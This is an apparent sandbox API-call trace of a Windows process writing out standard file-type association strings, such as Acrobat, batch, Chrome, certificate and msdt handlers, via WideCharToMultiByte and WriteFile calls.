	[0056.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.Document=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.Document=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.301] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.301] GetFileType (hFile=0x5c) returned 0x3
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.Document.7=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.Document.7=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 90
	[0056.301] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x59, lpOverlapped=0x0) returned 1
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.301] GetFileType (hFile=0x5c) returned 0x3
	[0056.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.FDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.FDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0056.301] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x55, lpOverlapped=0x0) returned 1
	[0056.738] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.738] GetFileType (hFile=0x5c) returned 0x3
	[0056.738] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.pdfxml.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.pdfxml.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.738] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.738] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.738] GetFileType (hFile=0x5c) returned 0x3
	[0056.738] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.XDPDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.XDPDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0056.738] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x55, lpOverlapped=0x0) returned 1
	[0056.738] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.738] GetFileType (hFile=0x5c) returned 0x3
	[0056.738] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.XFDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.XFDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 87
	[0056.738] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x56, lpOverlapped=0x0) returned 1
	[0056.739] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.739] GetFileType (hFile=0x5c) returned 0x3
	[0056.739] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Application.Manifest=rundll32.exe dfshim.dll,ShOpenVerbApplication %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Application.Manifest=rundll32.exe dfshim.dll,ShOpenVerbApplication %1\r\n", lpUsedDefaultChar=0x0) returned 72
	[0056.739] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x47, lpOverlapped=0x0) returned 1
	[0056.739] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.740] GetFileType (hFile=0x5c) returned 0x3
	[0056.740] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Application.Reference=rundll32.exe dfshim.dll,ShOpenVerbShortcut %1|%2\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Application.Reference=rundll32.exe dfshim.dll,ShOpenVerbShortcut %1|%2\r\n", lpUsedDefaultChar=0x0) returned 73
	[0056.740] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x48, lpOverlapped=0x0) returned 1
	[0056.740] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.740] GetFileType (hFile=0x5c) returned 0x3
	[0056.740] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="batfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="batfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0056.740] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x11, lpOverlapped=0x0) returned 1
	[0056.747] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.747] GetFileType (hFile=0x5c) returned 0x3
	[0056.747] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bootstrap.vsto.1=rundll32.exe \"c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll\",InstallVstoSolution %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootstrap.vsto.1=rundll32.exe \"c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll\",InstallVstoSolution %1\r\n", lpUsedDefaultChar=0x0) returned 126
	[0056.747] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7d, lpOverlapped=0x0) returned 1
	[0056.747] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.747] GetFileType (hFile=0x5c) returned 0x3
	[0056.747] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="brmFile=\"PrintBrmUI.exe\" /import /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brmFile=\"PrintBrmUI.exe\" /import /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 46
	[0056.747] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x2d, lpOverlapped=0x0) returned 1
	[0056.747] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.747] GetFileType (hFile=0x5c) returned 0x3
	[0056.747] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CABFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 52
	[0056.747] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x33, lpOverlapped=0x0) returned 1
	[0056.748] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.748] GetFileType (hFile=0x5c) returned 0x3
	[0056.748] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="callto=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="callto=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 71
	[0056.748] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x46, lpOverlapped=0x0) returned 1
	[0056.748] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.748] GetFileType (hFile=0x5c) returned 0x3
	[0056.748] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CATFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCAT %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCAT %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.748] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.748] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.748] GetFileType (hFile=0x5c) returned 0x3
	[0056.748] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CERFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.748] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.749] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.749] GetFileType (hFile=0x5c) returned 0x3
	[0056.749] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CertificateStoreFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenSTR %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CertificateStoreFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenSTR %1\r\n", lpUsedDefaultChar=0x0) returned 90
	[0056.749] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x59, lpOverlapped=0x0) returned 1
	[0056.749] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.749] GetFileType (hFile=0x5c) returned 0x3
	[0056.749] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="certificate_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /certificate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certificate_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /certificate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.749] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.749] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.749] GetFileType (hFile=0x5c) returned 0x3
	[0056.749] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="chm.file=\"%SystemRoot%\\hh.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chm.file=\"%SystemRoot%\\hh.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 36
	[0056.749] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x23, lpOverlapped=0x0) returned 1
	[0056.750] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.750] GetFileType (hFile=0x5c) returned 0x3
	[0056.750] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ChromeHTML=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ChromeHTML=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0056.750] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x52, lpOverlapped=0x0) returned 1
	[0056.750] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.750] GetFileType (hFile=0x5c) returned 0x3
	[0056.750] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="cmdfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0056.750] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x11, lpOverlapped=0x0) returned 1
	[0056.750] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.750] GetFileType (hFile=0x5c) returned 0x3
	[0056.751] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="comfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0056.751] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x11, lpOverlapped=0x0) returned 1
	[0056.751] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.751] GetFileType (hFile=0x5c) returned 0x3
	[0056.751] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CompressedFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompressedFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 59
	[0056.751] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3a, lpOverlapped=0x0) returned 1
	[0056.751] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.751] GetFileType (hFile=0x5c) returned 0x3
	[0056.751] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="conf=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conf=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69
	[0056.752] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x44, lpOverlapped=0x0) returned 1
	[0056.752] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.752] GetFileType (hFile=0x5c) returned 0x3
	[0056.752] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="contact_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /contact \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="contact_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /contact \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0056.752] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4b, lpOverlapped=0x0) returned 1
	[0056.752] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.752] GetFileType (hFile=0x5c) returned 0x3
	[0056.752] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CRLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCRL %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCRL %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0056.752] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4c, lpOverlapped=0x0) returned 1
	[0056.753] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.753] GetFileType (hFile=0x5c) returned 0x3
	[0056.753] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Cabinet=%SystemRoot%\\system32\\msdt.exe /cab \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Cabinet=%SystemRoot%\\system32\\msdt.exe /cab \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 62
	[0056.753] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3d, lpOverlapped=0x0) returned 1
	[0056.753] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.753] GetFileType (hFile=0x5c) returned 0x3
	[0056.753] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Config=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Config=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 62
	[0056.753] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3d, lpOverlapped=0x0) returned 1
	[0056.753] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.753] GetFileType (hFile=0x5c) returned 0x3
	[0056.753] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Document=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Document=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 64
	[0056.753] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3f, lpOverlapped=0x0) returned 1
	[0056.754] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.754] GetFileType (hFile=0x5c) returned 0x3
	[0056.754] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Perfmon.Config=%SystemRoot%\\system32\\perfmon /sys /load \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Perfmon.Config=%SystemRoot%\\system32\\perfmon /sys /load \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 74
	[0056.754] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x49, lpOverlapped=0x0) returned 1
	[0056.754] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.754] GetFileType (hFile=0x5c) returned 0x3
	[0056.754] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Perfmon.Document=%SystemRoot%\\system32\\perfmon /sys /open \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Perfmon.Document=%SystemRoot%\\system32\\perfmon /sys /open \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0056.754] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4b, lpOverlapped=0x0) returned 1
	[0056.754] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.754] GetFileType (hFile=0x5c) returned 0x3
	[0056.754] _get_osfhandle (_FileHandle=1) returned 0x5c
